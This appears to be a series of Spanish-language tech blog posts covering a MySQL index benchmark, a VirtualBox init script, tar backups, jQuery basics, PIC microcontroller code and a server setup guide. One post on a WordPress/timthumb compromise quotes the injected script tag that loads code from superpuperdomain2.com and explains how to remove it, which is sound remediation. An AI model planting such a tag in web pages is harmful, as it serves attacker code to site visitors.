MySQL: Analizando la performance de un SELECT

Me encontré con la necesidad de saber con exactitud cuánto demora un SELECT de una fila cuando el campo que buscamos no es un índice, o si es un índice secundario o uno primario.

Para explicar mejor la situación, propongo el siguiente ejemplo:

Tenemos la siguiente Tabla de Usuarios:

Id Name UserName Telephone Notes

 

La configuración que primero se nos ocurre es que el campo “Id” sea un índice primario, pero qué sucede si por alguna razón, tenemos que hacer siempre un SELECT donde en el WHERE se use con la columna UserName, por ejemplo, si tenemos que loguear al usuario y el dato que tenemos es el username, la consulta sería:

SELECT * FROM Users WHERE UserName=’pepe’;

En cualquier sistema, hasta en un servidor con escasos recursos, esta consulta no tarda mucho y poco importa si tarda unos milisegundos más o menos…  pero en ciertas ocasiones, con tablas de miles de registros,  dependiendo del entorno,  los milisegundos comienzan a tomar importancia, sobre todo si no tenemos mucho poder de procesamiento, el timing comienza a ser de mucha importancia.

Las bases de datos actuales, para resumirlo de una forma brutal y básica, guardan la información en estructuras de datos ordenadas (árboles avanzados) por índices, lo cual nos hace pensar que si buscamos por el campo “Id” es más rápido que si buscamos por el campo “UserName” ya que el campo “Id” está indexado.

Qué podemos hacer entonces??

Hagamos que UserName sea un índice!!!  Muy bonito, pero, cuando la base de datos busca, comparar un INTEGER (“Id”) es muchísimo más rápido que comparar un VARCHAR (“UserName”) de unos 20 caracteres de longitud, por lo tanto, cualquier operación en la tabla se vuelve un poco más lenta…

Entonces, que conviene más?  Usar un índice que haga la tabla más lenta en general, pero que devuelva una fila mucho más rápido? o usar un índice ágil, pero luego tendremos demoras al buscar una sola fila por otro campo?

La respuesta a esta última pregunta, depende un 100% del entorno del sistema en el que estemos…
En un sistema con pocos usuarios, podría no ser un inconveniente, pero cuando tenemos un servidor con escasos recursos, como por ejemplo la Raspberry Pi o similares y en nuestra aplicación una diferencia de milisegundos importa, se convierte en un inconveniente.

Se me ocurrieron algunas opciones para medir el rendimiento y realizar algunos benchmarks de MySQL corriendo con bajos recursos…

  • Comparar los resultados usando:

    • a)  El campo Id como Índice Primario y el resto campos comunes. (Situación normal)
    • b)  El campo Id como Índice Primario y el campo UserName como Índice Secundario
    • c)  El campo UserName como Índice Primario y el campo Id como Índice Secundario
  • Comparar el comportamiento de las configuraciones anteriores con distintas cantidades de registros:

    • a)  100 (cien) registros
    • b)  1000 (mil) registros
    • c)  10000 (diez mil) registros
    • d)  100000 (cien mil) registros
    • f )  1000000 (un millón) de registros
  • Ya que estamos haciendo benchmarks, comparemos los resultados anteriores con los dos motores más populares de MySQL:

    • a)  MyISAM
    • b)  InnoDB

Cómo hago estos benchmarks???

Para ello, escribí unas pocas lineas en PHP, que me permitieron llenar una BD de pruebas con información aleatoria y precisa para las pruebas…  si, en total generé más de 6.500.00 filas! casi 1GB de registros aleatorios. (demoró varios minutos)
Por si a alguien le interesa, al final del post les dejo la descarga del archivo PHP utilizado para generar los datos aleatorios, la estructura de la base de datos sin registros y la bd llena de datos.

Condiciones de las pruebas:

  • Las consultas se hacen en PhpMyAdmin.
  • Se busca un registro a la mitad del total de la tabla.
  • El tiempo es obtenido de PhpMyAdmin.
  • El servidor MySQL corre en una Raspberry Pi.
  • El sistema operativo es Raspbian ‘Wheezy’.
  • Las configuraciones de Apache/PHP/MySQL son las que vienen por defecto al instalarlos.
  • El cache MySQL es reseteado antes de cada prueba.
  • El campo UserName es un VARCHAR de 25 caracteres.
Ejemplo de consultas:
SELECT * FROM  `innodb_100_usuarios_noindex` WHERE id=50;
/*
(1 total, Query took 0.0061 sec)
id	name	           username	                 telephone	      notes
50	7Rge46fiCLEp8Au	84cdde86a4560c10000000050	vjA0WXmydgFTLf1	84cdde86a4560c10000000050 - 50
*/

SELECT * FROM  `innodb_100_usuarios_noindex` WHERE username='84cdde86a4560c10000000050'
/*
(1 total, Query took 0.0073 sec)
id	name	           username	                 telephone	      notes
50	7Rge46fiCLEp8Au	84cdde86a4560c10000000050	vjA0WXmydgFTLf1	84cdde86a4560c10000000050 - 50
*/

Basta de palabras!!!   quiero ver los números!

Todos los valores de tiempos están expresados en mS (milisegundos).

Aquí tenemos dos tablas, una con los resultados de MyISAM y otra con los de InnoDB. En ambos casos comparamos las tres configuraciones de índices mencionadas anteriormente (a, b, c) en distintas cantidades de registros. Primero buscando por el campo ID y luego por el campo UserName.

MyISAM

[table id=1 /]

InnoDB

[table id=2 /]

Resultados:

A primera vista, podemos notar la diferencia entre InnoDB y MyISAM en cuanto a la performance de los SELECTs.  Si tomamos como referencia las primer columna, donde ID es un Índice Primario, en InnoDB buscar un indice en 1.000.000 de registros, es un 35% más lento, pero si buscamos un registro no indexado, InnoDB es un 440% más lento que MyISAM.

Entonces, descartamos InnoDB para el resto de las comparaciones.

Evidentemente, buscar un registro que no es un índice, en un millón de filas, demora 8158.8 milisegundos, eso es es más de 8 segundos!!!  De hecho en 10.000 filas, demora casi 100 milisegundos, lo cual, en algunos casos, puede ocasionar problemas. Obviamente y como podíamos imaginar, si el tiempo es clave, ésta es la peor configuración.

Nos quedan dos opciones, utilizar el campo UserName como un indice secundario, o como un indice primario.

Como se puede ver en la tabla, si buscamos la mejor velocidad, nos conviene hacerlo un índice primario, pero en contra, la busqueda por ‘Id’ demora un par de milisegundos más.

Conclusión Final:

Como conclusión final, voy a elegir la configuración de “UserName como índice secundario“.  Porqué? Porque en promedio, parece tener los mejores tiempos, ningun tiempo supera los 6ms, sin importar si es índice primario o secundario. Realmente, muy buenos timings.

Iniciar y apagar Máquina virtual VirtualBox autoáticamente junto con el SO. (Ubuntu)

La mejor forma de iniciar una maquina virtual de VirtualBox al iniciar el sistema operativo host, y a su vez, apagarla cuando éste se apague, es con un script de init.d

Creamos un archivo para guardar el script:

sudo nano /etc/init.d/VM

Copiamos el siguiente contenido en el archivo y guardamos con F2.

#! /bin/sh
# /etc/init.d/VM
#

#Editar las siguientes variables
VMUSER=vbox
VMNAME="NombreDeLaVM"

case "$1" in
  start)
    echo "Starting VirtualBox VM..."
    sudo -H -b -u $VMUSER vboxmanage startvm "$VMNAME" --type headless 
    ;; 
  stop) 
    echo "Saving state of Virtualbox VM..." 
    sudo -H -b -u $VMUSER vboxmanage controlvm "$VMNAME" savestate
    ;; 
  *) 
    echo "Usage: /etc/init.d/VM {start|stop}" 
    exit 1 
    ;; 
  esac 

exit 0

Nota: la acción de stop del script, no apaga la VM, sino que guarda el estado y la cierra.

Le damos permisos de ejecución al script:

sudo chmod +x /etc/init.d/VM

Ahora, le decimos al script que la máquina virtual sea lo último que se inicie, y lo primero en apagarse.

sudo update-rc.d VM defaults 99 01

PD: Encontré este script acá, pero le hice un par de modificaciones para mejorarlo.

Cumplí mi sueño. Visita a Google, en Mountain View.

  • Cumplí mi sueño. Visita a Google, en Mountain View.

Visita a Google
Visita a Google

Al momento de escribir esto, todavía me cuesta creer lo que viví hace unas semanas en Sillicon Valley, fue mucha emoción para un solo dia!

La cuna de la mayoría de los avances tecnológicos e informáticos del mundo, el lugar donde empezó todo…
donde nació Cisco, Apple, HP, Intel, Oracle, Sun, Fairchild, National, Microchip… y muchas otras más.

DSC_1235

Mi visita fue muy corta, en unas horas, recorrí algunos edificios de Cisco, Intel y el Museo de la Historia de la Computación, todos espectaculares, sin embargo mi cabeza pensaba solo en una cosa…  Google.

Para alguien como yo, Google representa una parte importante de la vida. Desde los 12 años, cuando logré obtener una invitación para Gmail, uso los servicios de Google todos los días, todo el día! Ademas, yo personalmente, creo que Google tiene una gran responsabilidad de que internet sea hoy en día lo que es.  Te imaginas que pasaría si Google Maps no existiese? las personas seguirían usando esos mapas de las estaciones de servicio, de un metro y medio de ancho, doblados en 20 partes… o aun peor, si Gmail no existiese, estaríamos mandando emails con outlook!! como en los 90′.

DSC_1457

Antes de ir, investigué un poco acerca de Google y sus headquarters, sabia de su política de “no visitas” pero también sabía que hay excepciones.  Así que decidí probar suerte, dije -Le voy a mandar un Email a Google, diciendo que voy desde Argentina para visitarlos y bla bla bla…- En menos de 5 minutos, obtuve una respuesta, (creo que fue un mensaje automático jaja). El mensaje decía algo como -Agradecemos tu interés de visitarnos y bla bla, pero lamentablemente no aceptamos visitas.-

Cuando estaba camino a Mountain View, pensaba que me iba a encontrar con un campus completamente cerrado, con rejas al rededor y un guardia en la puerta que no me iba a dejar entrar, pero, me lleve una sorpresa…  El campus es tan grande, hay tantos edificios, que podes recorrer los jardines entre los edificios y las calles tranquilamente. Mientras que no entres en ningún edificio, excepto la cafetería y el gift shop, está todo bien!!

Así fue como recorrí el jardín interior del Googleplex. Un lugar completamente “raro”. Con bicicletas de colores por todos lados, estatuas locas con leyendas escritas en la base, monumentos raros, un dinosaurio…   y bueno, todo tipo de cosas extrañas.  Yo sabia, había visto/leído algo acerca de eso, pero, en serio, realmente cosas muy raras jaja.
Les dejo algunas fotos:

Eso no termino ahí  Me quería sacar una foto al lado de un cartel que dijera “Google”, los hay en todas las esquinas de las calles, así que camine un poco, y cruzando la calle obtuve la foto que quería. No se porque razón  pero, camine unos metros más, hacia el frente del edificio de esa cuadra, y me lleve la mejor sorpresa del día….

DSC_1458

Si. The Android Building.  Sinceramente, jamas se me cruzo por la cabeza, que algún día iba a poder caminar entre las estatuas de las versiones de Android.   JAMÁS. Sentí que mis pies estaban ahí, pero mi cabeza andaba flotando jaja.

Después de esperar unos 10 minutos que los chinos/japoneses/coreanos con camaras de 10.000 dolares terminaran de sacarse fotos, obtuve una de las mejores fotos de mi vida….

No soy muy fotogénico, por lo general, odio salir en las fotos, pero en ésa, realmente quería estar.

Así concluyo mi visita,

“ah”, cuando volvía al parking, vi un auto Tesla model S, creo que debe ser de Larry o Sergey, ya que el auto no estaba  a la venta todavía…  muy lindo el auto.
“ah2”, también vi una ardilla en los árboles.
“ah3”, fui al campus de Facebook, pero me sacaron, no me dejaron ni mirar jaja.

Como conclusión les puedo decir que, nunca abandonen sus sueños, se pueden hacer realidad en un abrir y cerrar de ojos.

Como hacer backups completos en linux

A veces, nos encontramos con la necesidad de hacer una copia de seguridad a un equipo linux, ya sea desktop o server, podemos backupear directorios importantes, o hacer un full backup de todo el sistema.

Siempre es recomendable hacer backups, de todo, aunque no sea lo mas divertido hacerlos, créeme, la perdida de información es una de las peores catástrofes en el mundo informático, no solo la pérdida de datos en una DB, sino también podemos perder código/scripts/diseños etc, que nos demandará tiempo volver a escribir.

La forma más fácil de hacer un backup de forma manual, es con el comando tar que nos crea un archivo comprimido y es fácil de usar.

La sintaxis es la siguiente:

tar [parámetros]

Las operaciones mas usadas son:

  • -z: Comprime usando gzip
  • -c: Crea el archivo
  • -v: Verbose mode. (Muestra el progreso mientras se crea el archivo)
  • -f: Para indicar el nombre del archivo
  • -p Conserva los permisos de los archivos
  • -x Extraer

Ejemplo de uso:

Para comprimir un directorio completo, usamos lo siguiente:

tar -zcvf backup-home.tar.gz /home/*  –> Hace un backup de todos los archivos que estan en el directorio home.

Backup del sistema completo:

Si queremos hacer un backup completo del sistema, para que en caso de una perdida total podamos restaurar nuestro servidor de manera completa, datos/programas/configs…  TODO…  debemos ejecutar esto:

tar cvpzf /backup-full.tar.gz –exclude=/proc –exclude=/lost+found –exclude=/backup-full.tar.gz –exclude=/mnt –exclude=/sys –exclude=dev/pts /

Importante: la barra del final “/” no es un error, eso le dice haga el backup desde el root “/”.
Todos esos “exclude” son, como su nombre lo dice, para excluir directorios que el sistema llena con archivos dinamicos, que van a producir errores a la hora del backup, y no son importante.

Como restaurar los backups:

Para restaurar un backup, se utiliza el comando -x

tar -zxvpf /fullbackup.tar.gz  –> extrae los contenidos en el directorio actual, conservando los permisos (-p) .

tar -zxvf backup-home.tar.gz  –> extrae los contenidos en el directorio actual.

tar -zxvf backup-home.tar.gz /home –> extrae los contenidos en /home.

Primeros pasos con jQuery

En el post anterior, “Introducción a jQuery”,  vimos que jQuery es una librería de JavaScript muy importante y relativamente sencilla de usar, sin siquiera tener conocimientos avanzados de JavaScript.

Ahora, vamos a comenzar con los primeros pasos en jQuery, con explicaciones básicas y necesarias para comenzar con esta librería.  Como en el post anterior, ya hicimos un “Hola Mundo”, ahora, partimos de ahí, suponiendo que tenemos el entorno configurado.

 Lo básico, la función “$”

La función básica de jQuery, nos permite seleccionar elementos del DOM, para luego hacer cosas con ellos. Reemplaza el document.getElementById() de JavaScript, solo que con muchas mejoras…
por ejemplo:

 
//selectores básicos

$('*')   // Selecciona todos los elementos de la página

$('a')   // Selecciona todos los enlaces de la página

$('#contenedor')    // Selecciona el elemento con id "contenedor"

$('a.menu')      // Selecciona todos los a  con clase "menu"

$("#categoryGrid table")  //selecciona todas las tablas, dentro de #categoryGrid

//selectores un poco más avanzados

$('input[name="email"]')    //selecciona el input que contenga el atributo name="email"

$('p[a]') // Selecciona todos los p que tengan como mínimo un enlace adentro

$("#contenedor h1:first-child") //selecciona el primer h1 dentro de #contenedor

$('h2:contains("Blog")')    //selecciona todos los h2 que contengan la palabra "Blog" en su texto

La lista con todos los selectores está aqui: http://api.jquery.com/category/selectors/ si tienen tiempo de leerla, la recomiendo, no es muy larga, pero si muy potente y fácil de entender, ademas, cada caso tiene un ejemplo.

Empezando a jugar…  Ejemplos prácticos

Supongamos que seleccionamos una div con $(‘#contenedor’) ahora, podemos empezar a hacerle cambios, de estilo, posición, etc…

 
$('#contenedor').text("Este es el nuevo texto")  //reemplaza todo el texto que contenía la div #contenedor por "Este es el nuevo texto" 

$('#precio').replaceWith("$299.00"); //la función replaceWith, reemplaza todo el elemento #precio, con un elemento nuevo 

$("#categoryGrid table").before("Refine your search..."); //la función before() nos permite agregar algo, antes del elemento seleccionado. (Tambien existe la función after() ) 

$('#widgetVendors .top').css("border","none");  //la función css() nos permite agregar estilos CSS al objeto seleccionado. 

$("#widgetBlogRecentPosts").appendTo("#contenido"); //esto nos permite mover un elemento, al interior de otro

Esos son ejemplos de algunas de las funciones simples, más usadas de jQuery. La lista de todas las funciones con ejemplos, la pueden encontrar en este sitio:  http://api.jquery.com/

En el próximo post sobre jQuery, vamos a usar los eventos y efectos visuales.

Si te sirvió, comentá.  Saludos!

Introducción a jQuery

Write less, do more.  dice el logotipo de jQuery, pero ¿Qué es? ¿Para qué se usa? y ¿Cómo se usa?…   Esas son las preguntas que voy a tratar de aclarar con esta introducción.

jQuery es una interfaz de usuario de JavaScript, una librería que provee funciones de alto y bajo nivel, ¿Qué quiere decir esto? Que internamente corre el núcleo de JavaScript, pero se utiliza mediante funciones más sencillas que las propias de JS, facilitando así  la creación de efectos gráficos complejos, con solo un par de lineas de código.

Hoy en día, jQuery, está muy de moda, no solo por su facilidad de uso, sino que también, por los efectos que se pueden crear, son muy bonitos, -o eye-candy, como dicen en inglés- y el gran potencial de programación que le da JavaScript.

jQuery tiene una buena documentación y hay muchos ejemplos de uso en la web, lo que ha producido que jQuery tenga una gran aceptación en el mercado.

Obviamente, no todo es color de rosas, JavaScript y por lo tanto también jQuery, corren en el lado del cliente, es decir, se ejecutan en el navegador del usuario. Ésto, puede traer como consecuencia, una sobre-utilización de los recursos del PC del usuario si se abusa del uso de jQuery en una web, -en pocas palabras, podes hacer que la PC del usuario se ponga muuy lenta-

¿Qué podemos hacer con jQuery?

La respuesta es mucho. jQuery nos permite manejar el DOM (Document Object Model) a nuestro gusto, de una manera muy sencilla. Además podemos utilizar eventos, efectos, AJAX, animaciones…  y más.

A todo esto, hay que sumarle que jQuery es multi-browser, es decir, que funciona en todos los navegadores importantes.

¿Cómo utilizamos jQuery?

Como introducción a la librería, veremos lo necesario para hacerla andar…  más adelante voy a ir posteando los diferentes usos con ejemplos, para en el futuro, poder hacer un mini-manual sencillo de jQuery.

Lo principal, es descargar la librería, de su sitio oficial: http://jquery.com/ por ejemplo, al momento de escribir este artículo, la última version es la jquery-1.8.2.min.js

Lo segundo, es llamar la librería desde nuestra web, con el siguiente código:

 

Si todo salió bien, ya podemos usar jQuery en nuestra página. Vamos a hacer un pequeño “Hola Mundo” en jQuery:

 




Con solo copiar y pegar ese pequeño código, en cualquier parte del body de nuestra página, obtendremos el mensaje “Hola Mundo” con jQuery.

Si te sirvió, comenta!

Saludos!

Como interpretar un Encoder Rotativo con PIC

Rotary Encoder

Rotary Encoder

Este pequeño fragmento de código, nos permitirá interpretar la salida de los famosos -mal llamados- “Potenciometros digitales”

Hoy en día estos encoders rotativos se convirtieron en un componente muy común en los dispositivos electrónicos. Están presentes en la mayoría de los Auto-Stereos, amplificadores de potencia, fuentes de alimentación, etc, permitiendo ajustar el volumen y otros parámetros.

Vienen de distintas formas y colores, desde perillas o pequeñas rueditas, hasta sensores de alta precisión de uso industrial.

Básicamente, hay de dos tipos: Ópticos y Mecánicos. Los primeros son obviamente más caros, pero ofrecen una mayor precisión, y los segundos son los que seguramente todos hemos tocado en algún momento, esos que al girarlos se siente como se mueve el eje por los “dientes”.

Lo que hacen es, transformar un movimiento, ya sea lineal, o giratorio como el de la foto, en señales electrónicas, codificadas digitalmente. Mediante un pequeño post-procesamiento de las señales adquiridas, podemos determinar, el sentido del giro, la distancia recorrida y la velocidad.

Esta es  la señal de salida de un encoder rotativo:

(Gracias Wikipedia por la imagen!)

En los encoders como el de la foto de arriba, las señales A y B provienen de los pines externos, y el central va a VCC o a GND, según como lo quieras utilizar.

Bueno, sin más palabras, aquí está el código:

while(1){     //BUCLE PRINCIPAL
if(ENCODER_A==1){
__delay_ms(3);

if(ENCODER_B==1){
//cosas para un lado
}
else{
//cosas para el otro
}
while(ENCODER_A==1){}
}

}

Explicación:

Como podemos observar, el chequeo del encoder se hace en el bucle principal, entonces, pregunto siempre por un pin, en este caso, el “ENCODER_A”, luego espero un tiempo que depende del tipo de encoder y la velocidad a la que se lo gira, y por ultimo pregunto cual pin está en alto. Si es el A eso nos dice que la fase empezó con el pin A, sino, con el B.

Este método, no es el mejor -lo sé- pero funciona y solo son pocas lineas de código. El problema principal es que el ancho de los pulsos de la salida depende de la velocidad con la que se gira el encoder, entonces esos 3 milisegundos de espera, nos da un cierto margen de velocidad que no debemos superar, ya que si lo hacemos podemos interpretar una dirección erronea.

De todas formas, a mi me sirvió, ya que ese “margen” es lo bastante grande como para casi no notarlo, al menos que se gire el encoder violentamente, en cuyo caso, el codigo sale sin hacer nada.

Si te sirvió comentá!!!

Librería LCD para PIC 16F876A en el PORTB. PICC

Ésta es una librería modificada para que el LCD funcione completamente en el PORTB. La mayoría de las librerías que andan dando vueltas necesitan conectar unos pines del LCD en el PORTA y otros en el PORTB, lo cual, es poco practico a la hora de hacer una placa.

Esta hecha para el compilador PICC,  el LCD usado en el codigo de ejemplo es de 16×2.

Estas son las funciones que tiene:

[cc lang=”c”]

/*
* Libreria para controlar un LCD con el PIC16F876A PORTB
*/

/* Escribe un byte en el LCD en modo de 4bits */
extern void lcd_write(unsigned char);

/* Limpia la pantalla y vuelve al inicio el cursor */
extern void lcd_clear(void);

/* Escribe un string de caracteres */
extern void lcd_puts(const char * s);

/* Mueve el cursor a la ubicacion especifica */
extern void lcd_goto(unsigned char pos);

/* Inicializa el LCD – (Llamar al principio) */
extern void lcd_init(void);

/* Escribe un caracter */
extern void lcd_putch(char);

[/cc]

Para descargar la librería completa click aquí.

Modo de uso:

En el main.c, deberias tener algo asi:

[cc lang=”c”]

//INLCUDES

#include “pic.h”
#include “stdio.h”

//definicion del cristal
#ifndef _XTAL_FREQ
#define _XTAL_FREQ 20e6
#endif

//definiciones del PORT B para el LCD
#define LCD_RS RB4
#define LCD_RW RB6
#define LCD_EN RB5
#define LCD_DATA PORTB

//incluyo la librería del LCD
#include “lcd.h”

void main (void){
TRISB=0B00000000;

lcd_init();
lcd_goto(0x00);
lcd_puts(“Inicializando…”);
lcd_goto(0x40); //segunda linea

__delay_ms(1300);

lcd_puts(“HOLA MUNDO!!!”);

}

[/cc]

Tambien puedes usar el LCD con el printf, pero no es muy recomendable, porque desperdicias mucho espacio.

Ej: printf(“Temp=%2.1fºC”,TEMPERATURA);

 Conexiones:

Pic16f876 LCD 16x2

Si te sirvió, comenta.

Saludos!

Vulnerabilidad en WordPress Superpuperdomain2.com

Vulnerabilidad en timthumb.php

Sintomas

Lo más probable es que cuando quieras entrar al sitio, tu antivirus, o tu navegador te avisen de que tu sitio esta cargando contenido de superpuperdomain2.com y éste es un sitio maligno. Sino, fijate el codigo fuente de tu web, y al final debes tener algo asi:

<script language=”javascript” SRC=”http://superpuperdomain2.com/count.php?ref=”>

¿Cómo solucionarlo?

Primero, el codigo malicioso, fue insertado en el index.php  de tu blog. Lo debes borrar de ahi.

En segundo lugar, corrige el problema para que no vuelva a suceder…  descarga la ultima version de timthum.php antes de reemplazarlo por el existente en tu theme, hazle los siguientes cambios:

Cambia define( ‘ALLOW_EXTERNAL’, TRUE);  por  define( ‘ALLOW_EXTERNAL’, false);

Y tambien cambia ésto:

$allowedSites = array ( ‘flickr.com’,
‘picasa.com’,
‘img.youtube.com’,
‘upload.wikimedia.org’,
);

Por ésto:

$allowedSites = array();

Para encontrar todos los timthumb.php que puedes tener, (uno por theme, aunque no todos lo usan) pudes hacer desde la consola:
find . | grep timthumb.php

 

Como montar un Servidor Ubuntu Server COMPLETO, con ISPConfig 3 Parte 1

Este post está dedicado a instalar un servidor para hosting multi-cuentas, en una VPS, por ello, no explicare temas relacionados al hardware ni a la instalación del sistema operativo.

Si quieres saber mas sobre las VPS, y cómo elegir una VPS, mira este link.

Este post, está basado en las guías Perfect Server de HowToForge, pero con algunas mejoras.

Ubuntu Server

Para mi, Ubuntu Server, es uno de las mejores distros para iniciarse en el tema de servidores linux, debido a la gran cantidad de información y tutoriales que hay sobre el en la red.

Bueno, en este tutorial usaremos lo siguiente:

  • Ubuntu Server 11.04 como sistema operativo.
  • ISPConfig 3 como panel de administración para cuentas de Hosting.
  • Apache, PHP, MySQL
  • SquirreMail, PostFix
  • PureFTP
  • BIND 9

Comencemos…

Antes que nada, para este tutorial, usaremos server1.example.com como hostname, y supondremos que yas estamos logueados como root. (sino, anteponer sudo a cada comando)

Yo uso nano para editar los archivos, pero pueden usar vi, o cualquier otro.

Para instalar nano, hacemos:
apt-get install nano
Para utilizar nano, se abren los archivos con nano archivo luego, para guardar, se presiona F2, luego decimos que si, (Y) y luego aceptamos con ENTER.

Ahora, cambiamos el hostname:

echo server1.example.com > /etc/hostname
hostname server1.example.com
/etc/init.d/hostname restart

Click Aqui para ver la Parte 2 | Click Aqui para ver la Parte 3